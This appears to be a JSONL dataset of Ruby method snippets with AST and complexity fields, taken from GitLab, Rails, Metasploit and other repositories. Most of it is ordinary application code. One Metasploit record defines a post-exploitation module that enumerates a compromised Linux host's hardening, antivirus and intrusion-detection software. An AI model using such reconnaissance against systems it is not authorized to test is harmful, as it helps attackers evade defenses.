+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250317155200_add_sync_trigger_partitioned_uploads.rb","start_line":15,"raw_source":"def down\n # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- copied from helpers\n with_lock_retries do\n drop_sync_trigger(:uploads)\n end\n # rubocop:enable Migration/WithLockRetriesDisallowedMethod\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"drop_sync_trigger\",{\"type\":\"sym\",\"children\":[\"uploads\"]}]}]}]}","id":"19f8d387-d2ac-45b7-a753-c91ff454c5bc"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/module_with_instance_variables.rb","start_line":14,"raw_source":"def on_module(node)\n check_method_definition(node)\n\n # Not sure why some module would have an extra begin wrapping around\n node.each_child_node(:begin) do |begin_node|\n check_method_definition(begin_node)\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_method_definition\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_child_node\",{\"type\":\"sym\",\"children\":[\"begin\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"begin_node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_method_definition\",{\"type\":\"lvar\",\"children\":[\"begin_node\"]}]}]}]}]}","id":"329841b8-7aa9-4ec5-857d-1f65ccedb050"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb","start_line":114,"raw_source":"def latest_wal_locations\n return {} unless job_wal_locations.present?\n\n strong_memoize(:latest_wal_locations) do\n get_cookie.fetch('wal_locations', {})\n end\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_wal_locations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_wal_locations\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"latest_wal_locations\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_cookie\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"wal_locations\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"65b1b68c-6604-49e6-8d50-25b48bf1d24a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_protections.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Linux Gather Protection Enumeration',\n 'Description' => %q{\n This module checks whether popular system hardening mechanisms are\n in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also\n tries to find installed applications that can be used to hinder,\n prevent, or detect attacks, such as tripwire, snort, and apparmor.\n\n This module is meant to identify Linux Secure Modules (LSM) in addition\n to various antivirus, IDS/IPS, firewalls, sandboxes and other security\n related software.\n },\n 'License' => MSF_LICENSE,\n 'Author' => 'ohdae ',\n 'Platform' => ['linux'],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Gather Protection Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module checks whether popular system hardening mechanisms are\\n\"]},{\"type\":\"str\",\"children\":[\" in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also\\n\"]},{\"type\":\"str\",\"children\":[\" tries to find installed applications that can be used to hinder,\\n\"]},{\"type\":\"str\",\"children\":[\" prevent, or detect attacks, such as tripwire, snort, and apparmor.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module is meant to identify Linux Secure Modules (LSM) in addition\\n\"]},{\"type\":\"str\",\"children\":[\" to various antivirus, IDS/IPS, firewalls, sandboxes and other security\\n\"]},{\"type\":\"str\",\"children\":[\" related software.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"ohdae \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"3558d063-539c-473d-9cd6-0016da938767"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/exploit_attempt.rb","start_line":35,"raw_source":"def report_exploit_failure(opts)\n return unless opts[:refs].present? && opts[:host].present?\n\n host = opts[:host]\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n opts = opts.clone()\n port = opts[:port]\n proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO\n svc = opts[:service]\n rids = opts.delete(:ref_ids) || []\n\n opts[:refs].each do |ref|\n if ref.instance_of?(Mdm::Module::Ref)\n str = ref.name\n elsif (ref.respond_to?(:ctx_id)) && (ref.respond_to?(:ctx_val))\n str = \"#{ref.ctx_id}-#{ref.ctx_val}\"\n elsif (ref.is_a?(Hash) && ref[:ctx_id] && ref[:ctx_val])\n str = \"#{ref[:ctx_id]}-#{ref[:ctx_val]}\"\n elsif ref.is_a?(String)\n str = ref\n end\n rids << find_or_create_ref(name: str) unless str.nil?\n end\n\n # Look up the service as appropriate\n if port && svc.nil?\n # only one result can be returned, as the +port+ field restricts potential results to a single service\n svc = services(:workspace => wspace,\n :hosts => {address: host},\n :proto => proto,\n :port => port).first\n end\n\n # Look up the host as appropriate\n if !host || !host.kind_of?(::Mdm::Host)\n if svc&.kind_of? ::Mdm::Service\n host = svc.host\n else\n host = get_host(workspace: wspace, address: host)\n end\n end\n\n # Bail if we dont have a host object\n return unless host\n\n vuln = nil\n if rids.present?\n # Try to find an existing vulnerability with the same service & references\n # or, if svc is nil, with the same host & references\n vuln = find_vuln_by_refs(rids, host, svc, false)\n end\n\n opts[:service] = svc\n opts[:host] = host\n opts[:vuln] = vuln if vuln\n\n do_report_failure_or_success(opts)\n end","complexity_score":95.7,"ast_json":"{\"type\":\"def\",\"children\":[\"report_exploit_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBManager\"]},\"DEFAULT_SERVICE_PROTO\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rids\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"ref_ids\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mdm\"]},\"Module\"]},\"Ref\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ctx_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ctx_val\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"ctx_id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"ctx_val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_val\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_id\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctx_val\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rids\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"find_or_create_ref\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"nil?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"svc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"services\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hosts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},\"first\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Service\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"get_host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rids\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"send\",\"children\":[null,\"find_vuln_by_refs\",{\"type\":\"lvar\",\"children\":[\"rids\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"svc\"]},{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"svc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"lvar\",\"children\":[\"vuln\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"do_report_failure_or_success\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"74771613-37ef-4b54-890c-26dc68a62f11"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":1045,"raw_source":"def test_unrelated_load_error\n app_file \"test/models/account_test.rb\", <<-RUBY\n require \"test_helper\"\n\n require \"does-not-exist\"\n\n class AccountsTest < ActiveSupport::TestCase\n def test_truth\n assert true\n end\n end\n RUBY\n\n output = run_test_command(\"test/models/account_test.rb\")\n assert_match(\"cannot load such file -- does-not-exist\", output)\n assert_not_predicate $?, :success?\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unrelated_load_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"test/models/account_test.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" require \\\"test_helper\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" require \\\"does-not-exist\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" class AccountsTest < ActiveSupport::TestCase\\n\"]},{\"type\":\"str\",\"children\":[\" def test_truth\\n\"]},{\"type\":\"str\",\"children\":[\" assert true\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"run_test_command\",{\"type\":\"str\",\"children\":[\"test/models/account_test.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"cannot load such file -- does-not-exist\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"gvar\",\"children\":[\"$?\"]},{\"type\":\"sym\",\"children\":[\"success?\"]}]}]}]}","id":"842b811f-c467-45c9-a37a-7e3f4dd61c80"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/eager_loading/checksum.rb","start_line":95,"raw_source":"def cache_checksums\n @cache_checksums ||= self.class.fetch_checksums_for(work_packages)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_checksums\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache_checksums\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"fetch_checksums_for\",{\"type\":\"send\",\"children\":[null,\"work_packages\"]}]}]}]}","id":"fb52ece7-c961-419f-90f4-3dc0f7768317"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/extensions/topic_view_serializer_extension.rb","start_line":56,"raw_source":"def last_answerer\n BasicUserSerializer.new(object.topic.last_answerer, scope: scope, root: false).as_json\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"last_answerer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BasicUserSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"last_answerer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"as_json\"]}]}","id":"65ae9c20-c632-4761-bfc5-e6a2e37977ce"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/spawn_methods.rb","start_line":43,"raw_source":"def merge!(other, *rest) # :nodoc:\n if other.is_a?(Hash)\n Relation::HashMerger.new(self, other).merge\n elsif other.is_a?(Relation)\n Relation::Merger.new(self, other).merge\n elsif other.respond_to?(:to_proc)\n instance_exec(&other)\n else\n raise ArgumentError, \"#{other.inspect} is not an ActiveRecord::Relation\"\n end\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]},{\"type\":\"restarg\",\"children\":[\"rest\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"HashMerger\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"other\"]}]},\"merge\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"Merger\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"other\"]}]},\"merge\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_proc\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" is not an ActiveRecord::Relation\"]}]}]}]}]}]}]}","id":"97963877-a262-4f77-916b-c16389d8d3b5"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/time_profile.rb","start_line":91,"raw_source":"def hours=(arr)\n arr = arr.collect(&:to_i)\n profile_will_change! if profile[:hours] != arr\n profile[:hours] = arr\n end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"hours=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hours\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"arr\"]}]},{\"type\":\"send\",\"children\":[null,\"profile_will_change!\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"lvar\",\"children\":[\"arr\"]}]}]}]}","id":"d0f2a9bb-0c70-4df3-b907-fbe142aaebd8"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2100,"raw_source":"def compare_test_reports\n unless has_test_reports?\n return { status: :error, status_reason: 'This merge request does not have test reports' }\n end\n\n compare_reports(Ci::CompareTestReportsService)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_test_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_test_reports?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_reason\"]},{\"type\":\"str\",\"children\":[\"This merge request does not have test reports\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_reports\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"CompareTestReportsService\"]}]}]}]}","id":"1310d0da-b3f4-46de-9162-c918c04bf774"}
+{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20200825102956_remove_orphaned_notifications_by_article.rb","start_line":3,"raw_source":"def run\n # Delete all Notifications related to Articles that don't exist anymore\n ActiveRecord::Base.connection.execute(\n <<~SQL.squish,\n DELETE FROM notifications\n WHERE notifiable_type = 'Article'\n AND notifiable_id NOT IN (SELECT id FROM articles);\n SQL\n )\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM notifications\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE notifiable_type = 'Article'\\n\"]},{\"type\":\"str\",\"children\":[\"AND notifiable_id NOT IN (SELECT id FROM articles);\\n\"]}]},\"squish\"]}]}]}","id":"2c15f3aa-5ea8-4731-bc67-03bf02ce22da"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/test_case.rb","start_line":193,"raw_source":"def parallel_worker_id\n self.class.parallel_worker_id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parallel_worker_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"parallel_worker_id\"]}]}","id":"e69ca447-0935-4c0a-8110-6b415e83a027"}
